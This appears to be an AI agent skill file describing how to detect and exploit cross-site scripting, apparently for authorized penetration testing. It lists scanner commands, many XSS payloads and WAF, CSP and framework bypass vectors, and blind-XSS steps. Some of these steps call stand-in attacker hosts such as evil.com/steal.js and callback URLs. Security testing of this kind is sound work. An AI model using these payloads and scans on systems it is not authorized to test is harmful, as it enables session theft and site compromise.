| name | exploit-xss |
| description | Cross-site scripting (XSS) vulnerability detection and exploitation. Supports reflected XSS, stored XSS, DOM-based XSS, and blind XSS testing. Use this skill when user mentions XSS, cross-site scripting, script injection, or needs to test JavaScript injection in parameters, forms, headers, or DOM sources. |
Cross-Site Scripting (XSS) Detection Skill
⚠️ DANGER - Authorization Required
This skill is for AUTHORIZED SECURITY TESTING ONLY.
You must have:
- Written permission from the target system owner
- Legal authorization to test the target
- A defined scope of testing
Unauthorized XSS testing is ILLEGAL and unethical.
Prerequisites
Required Tools
pip install xsstrike
go install github.com/hahwul/dalfox/v2@latest
gem install xspear
Python Requirements
pip install requests beautifulsoup4
pip install websockets
Optional Tools
Quick Start
Basic URL Testing
python xsstrike.py -u "https://target.com/search?q=test"
dalfox url "https://target.com/search?q=test"
POST Request Testing
dalfox file request.txt
python xsstrike.py -r request.txt
DOM XSS Testing
python xsstrike.py -u "https://target.com/page#test" --dom
dalfox url "https://target.com/page#test" --dom
Common Scenarios
1. Basic Parameter Testing (Reflected XSS)
Test URL parameters for reflection and injection:
python xsstrike.py -u "https://target.com/search?q=test"
dalfox url "https://target.com/search?q=test"
dalfox url "https://target.com/search" -p q
What to check:
- Does the input reflect in the HTML response?
- What is the context (HTML tag, attribute, JavaScript)?
- Are there any filters/encoding applied?
2. POST Request XSS (Form Testing)
Test POST forms for stored/reflected XSS:
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test' > post_request.txt
python xsstrike.py -r post_request.txt
dalfox file post_request.txt
Common POST targets:
- Login forms (username, email fields)
- Contact forms (name, message fields)
- Search forms
- Comment forms
- User profile updates
3. Cookie and Header XSS
Test HTTP headers and cookies for injection:
python xsstrike.py -u "https://target.com" --cookie "session=test&user=<script>alert(1)</script>"
python xsstrike.py -u "https://target.com" --user-agent "<script>alert(1)</script>"
python xsstrike.py -u "https://target.com" --referer "https://evil.com/<script>alert(1)</script>"
Headers to test:
- User-Agent (check application logs/error pages)
- Referer (check 404 pages, analytics)
- X-Forwarded-For (check IP reflection)
- Cookie (check welcome messages/logs)
4. Reflected XSS Detection
Identify reflection points and test payloads:
dalfox url "https://target.com/search?q=test" --only-discovery
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
python xsstrike.py -u "https://target.com/search?q=test" --blind
Detection techniques:
- Compare response length with/without payload
- Search for payload in response HTML
- Check for encoding/filtering patterns
- Identify HTML context (tag, attribute, JS, CSS)
5. Stored XSS Testing (Database Persistence)
Test for XSS that persists in the database:
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net
python xsstrike.py -r profile_update_request.txt
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&email=test@test.com&message=payload"
Stored XSS targets:
- User profiles (name, bio, location)
- Comments/Reviews
- Forum posts
- Email/contact forms (admin panel XSS)
- File upload metadata
6. DOM XSS Discovery
Find client-side XSS vulnerabilities:
python xsstrike.py -u "https://target.com/page#input" --dom
dalfox url "https://target.com/page#input" --dom
scripts/xss_context_analyzer.py --dom "https://target.com/page"
Common DOM sources:
location.hash
location.search
document.cookie
document.referrer
window.name
Common DOM sinks:
innerHTML
document.write()
eval()
location.href
setTimeout() / setInterval()
7. Blind XSS in Forms (Contact/Admin XSS)
Test XSS in forms that execute in admin panels:
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net
xspear -u "https://target.com/contact" -d "name=test&message=<script src=https://evil.com/steal.js></script>"
Blind XSS testing tips:
- Use unique payloads per test (to identify which parameter is vulnerable)
- Use Burp Collaborator or interactsh for callbacks
- Test email contact forms (executes when admin opens email)
- Test support ticket systems
8. Context-Aware Payloads
Use payloads specific to the injection context:
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context url
Context-specific payloads:
HTML Body/Tag:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
HTML Attribute:
" onmouseover=alert('XSS')
javascript:alert('XSS')
JavaScript:
';alert('XSS');//
'-alert('XSS')-
</script><script>alert('XSS')</script>
CSS/Style:
</style><script>alert('XSS')</script>
expression(alert('XSS'))
9. WAF Bypass Techniques
Evade Web Application Firewalls:
scripts/xss_payload_generator.py --waf-bypass
xspear -u "https://target.com/search?q=test" --bypass
python xsstrike.py -u "https://target.com/search?q=test" --encode
Bypass techniques:
- URL encoding:
%3Cscript%3Ealert(1)%3C/script%3E
- Double encoding:
%253Cscript%253E
- Unicode encoding:
\u003Cscript\u003E
- HTML entities:
<script>alert(1)</script>
- Case mixing:
<ScRiPt>alert(1)</sCrIpT>
- Comment injection:
<script><!-- anything -->alert(1)</script>
- Tab/newline injection:
<script\t>alert(1)</script>
10. Automated Scanning (Batch Testing)
Scan multiple URLs/parameters:
dalfox file urls.txt
cat urls.txt | dalfox pipe
for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done
subfinder example.com | httpx | dalfox pipe
11. Payload Encoding Variations
Test with different encoding schemes:
scripts/xss_payload_generator.py --encode url
scripts/xss_payload_generator.py --encode html
scripts/xss_payload_generator.py --encode hex
python xsstrike.py -u "https://target.com" --encode
Common encodings to test:
- Plain:
<script>alert(1)</script>
- URL encoded:
%3Cscript%3Ealert(1)%3C/script%3E
- Double URL encoded:
%253Cscript%253E
- HTML entities:
<script>alert(1)</script>
- Hex:
\x3Cscript\x3Ealert(1)\x3C/script\x3E
- Unicode:
\u003Cscript\u003Ealert(1)\u003C/script\u003E
12. Polyglot Payloads
Test with payloads that work in multiple contexts:
scripts/xss_payload_generator.py --polyglot
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
Famous polyglot payloads:
# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E
# Mathias Karlsson's polyglot
javascript:
# Another polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
13. CSP Detection and Bypass
Content Security Policy analysis and bypass testing:
python scripts/csp_detector.py https://target.com
python scripts/csp_detector.py https://target.com --bypass
python scripts/csp_detector.py https://target.com --verbose
Common CSP bypass techniques:
unsafe-inline - allows inline scripts
unsafe-eval - allows eval(), setTimeout()
data: URLs - inline scripts via data URI
- Wildcard sources - allows any domain
- Nonce-based bypasses
- Framework-specific bypasses
See references/csp_bypass_guide.md for detailed techniques.
14. Framework-Specific XSS
Test for Angular, React, Vue, and other framework vulnerabilities:
python scripts/framework_xss_tester.py --url https://target.com --detect
python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular
python scripts/framework_xss_tester.py --url https://target.com --param data --framework react
python scripts/framework_xss_tester.py --url https://target.com --param content --framework vue
Common framework vectors:
- Angular:
{{constructor.constructor('alert(1)')()}}
- React:
dangerouslySetInnerHTML
- Vue:
v-html directive
- jQuery:
.html() manipulation
See references/framework_xss_guide.md for detailed techniques.
15. SVG File Upload XSS
Test for SVG-based XSS in file uploads:
python scripts/svg_xss_tester.py --generate --variant file_upload
python scripts/svg_xss_tester.py --url https://target.com --param content
python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar
python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.com
SVG XSS vectors:
<svg onload="alert('XSS')">
<svg><script>alert('XSS')</script></svg>
<svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject></svg>
See references/svg_xss_guide.md for detailed techniques.
16. Mutation XSS (mXSS)
Test for HTML mutation-based XSS:
python scripts/mutation_xss_tester.py --url https://target.com --param q --type all
python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber
python scripts/mutation_xss_tester.py --url https://target.com --param q --attribute
Mutation XSS vectors:
- Entity decoding mutations:
< → <
- Tag parsing mutations:
<xmp>, <listing>
- DOM clobbering:
<a id="location">
- Namespace mutations: SVG/MathML
See references/mutation_xss_guide.md for detailed techniques.
17. WebSocket XSS
Test for XSS vulnerabilities in WebSocket connections:
python scripts/websocket_xss_tester.py --url https://target.com
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '<script>alert(1)</script>'
WebSocket XSS vectors:
- Message reflection:
ws.send('<script>alert(1)</script>')
- JSON injection:
{"message": "<img src=x onerror=alert(1)>"}
- Event handler:
ws.send('alert(1);')
- Attribute breaking:
" onmouseover=alert(1)
See references/websocket_xss_guide.md for detailed techniques.
Tool Selection Guide
| Scenario | Recommended Tool | Command |
|---|
| Quick parameter testing | Dalfox | dalfox url "https://target.com?param=test" |
| Deep scanning with DOM | XSStrike | python xsstrike.py -u "URL" --dom |
| WAF bypass testing | XSpear | xspear -u "URL" --bypass |
| Stored/Blind XSS | Dalfox + Callback | dalfox file req.txt --blind CALLBACK |
| Manual testing | XSStrike | python xsstrike.py -r request.txt |
| Batch scanning | Dalfox pipe | cat urls.txt | dalfox pipe |
| CSP Analysis | CSP Detector | python scripts/csp_detector.py URL |
| Framework XSS | Framework Tester | python scripts/framework_xss_tester.py -u URL -p param |
| SVG XSS | SVG Tester | python scripts/svg_xss_tester.py -u URL -p param |
| Mutation XSS | Mutation Tester | python scripts/mutation_xss_tester.py -u URL -p param |
| WebSocket XSS | WebSocket Tester | python scripts/websocket_xss_tester.py -u URL |
| Full Scan | Full Scanner | python scripts/xss_full_scan.py -u URL --all |
Tool Comparison:
| Feature | XSStrike | Dalfox | XSpear | Built-in Scripts |
|---|
| Speed | Medium | Fast | Medium | Varies |
| DOM XSS | Excellent | Good | Limited | Good |
| WAF Bypass | Good | Good | Excellent | Good |
| Pipeline Mode | No | Yes | No | No |
| Blind XSS | Yes | Yes | Yes | Yes |
| CSP Analysis | No | No | No | Yes |
| Framework Testing | No | No | No | Yes |
| SVG Testing | No | No | No | Yes |
| Mutation XSS | No | No | No | Yes |
| WebSocket XSS | No | No | No | Yes |
Testing Checklist
Reconnaissance Phase
Reflected XSS Testing
Stored XSS Testing
DOM XSS Testing
Advanced Testing
Scenario: Persistent Storage of XSS Findings
When you need to persist XSS findings to the database:
python .claude/skills/exploit-xss/scripts/xss_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/search?q=test" \
--xss-type reflected \
--payload "<script>alert(1)</script>" \
--context html_body \
--severity High \
--subsystem "Web Application"
Parameters:
--host-ip - Target host IP (required)
--url - Vulnerable URL (required)
--xss-type - XSS type: reflected, stored, or dom (required)
--payload - Payload used (required)
--context - XSS context: html_body, html_attribute, javascript, dom, url (default: html_body)
--severity - Severity level (default: Medium)
--subsystem - Subsystem name (optional)
--parameter - Vulnerable parameter name
--title - Vulnerability title (auto-generated if not specified)
--description - Vulnerability description
--cvss-score - CVSS score (0.0-10.0)
Database location: ./data/results.db
Related skills: results-storage - Query data, generate reports
Resources
Scripts
scripts/xss_payload_generator.py - Generate XSS payloads for various contexts
scripts/xss_tester.py - Automated XSS testing framework
scripts/xss_context_analyzer.py - Analyze injection context
scripts/blind_xss_tester.py - Test stored/blind XSS
scripts/csp_detector.py - CSP analysis and bypass testing
scripts/svg_xss_tester.py - SVG file upload XSS testing
scripts/framework_xss_tester.py - Angular/React/Vue XSS testing
scripts/mutation_xss_tester.py - Mutation XSS/DOM clobbering testing
scripts/websocket_xss_tester.py - WebSocket XSS testing
scripts/mxss_detector.py - HTML parser mutation XSS detection
scripts/xss_full_scan.py - Integrated XSS testing automation
Reference Documentation
references/dalfox_guide.md - Dalfox complete guide
references/xsstrike_guide.md - XSStrike complete guide
references/xspear_guide.md - XSpear complete guide
references/xss_payload_techniques.md - XSS payload techniques
references/dom_xss_guide.md - DOM XSS testing guide
references/csp_bypass_guide.md - CSP bypass techniques
references/framework_xss_guide.md - Framework-specific XSS guide
references/svg_xss_guide.md - SVG XSS testing guide
references/mutation_xss_guide.md - Mutation XSS/DOM clobbering guide
references/websocket_xss_guide.md - WebSocket XSS testing guide
Assets/Wordlists
assets/common_xss_payloads.txt - Basic XSS payloads
assets/attribute_xss_payloads.txt - Attribute context payloads
assets/dom_xss_payloads.txt - DOM XSS payloads
assets/blind_xss_payloads.txt - Blind XSS with callbacks
assets/polyglot_xss_payloads.txt - Multi-context payloads
assets/waf_bypass_payloads.txt - WAF evasion payloads
assets/csp_bypass_payloads.txt - CSP bypass payloads
assets/framework_xss_payloads.txt - Angular/React/Vue payloads
assets/svg_xss_payloads.txt - SVG XSS payloads
assets/mutation_xss_payloads.txt - Mutation XSS payloads
assets/websocket_xss_payloads.txt - WebSocket XSS payloads
External Resources
Common Responses & Troubleshooting
"No XSS found"
- Try different payload encodings
- Test with DOM scanner enabled
- Check if there's a WAF blocking
- Test with blind XSS payloads
- Verify the parameter actually reflects
"Payload is reflected but not executing"
- Analyze the context using context analyzer
- Use context-specific payloads
- Check for CSP (Content Security Policy)
- Check for input sanitization
- Try alternative tags/event handlers
"403 / WAF blocked"
- Use WAF bypass payloads
- Try different encoding methods
- Use XSpear with --bypass flag
- Test with smaller payloads first
- Try alternative injection points
Reporting Format
When reporting XSS vulnerabilities, include:
╔═══════════════════════════════════════════════════════╗
║ XSS Vulnerability Report ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/search ║
║ Type: Reflected XSS ║
║ Severity: High ║
╚═══════════════════════════════════════════════════════╝
Vulnerable Parameter: q
Injection Context: HTML attribute (value)
Payload: " onmouseover=alert('XSS')
Proof of Concept:
https://target.com/search?q=%22%20onmouseover%3Dalert('XSS')
Impact:
- Execute arbitrary JavaScript in victim's browser
- Steal session cookies
- Perform actions on behalf of victim
- Deface website
Recommendations:
- Implement proper output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all input
- Use framework-provided escaping functions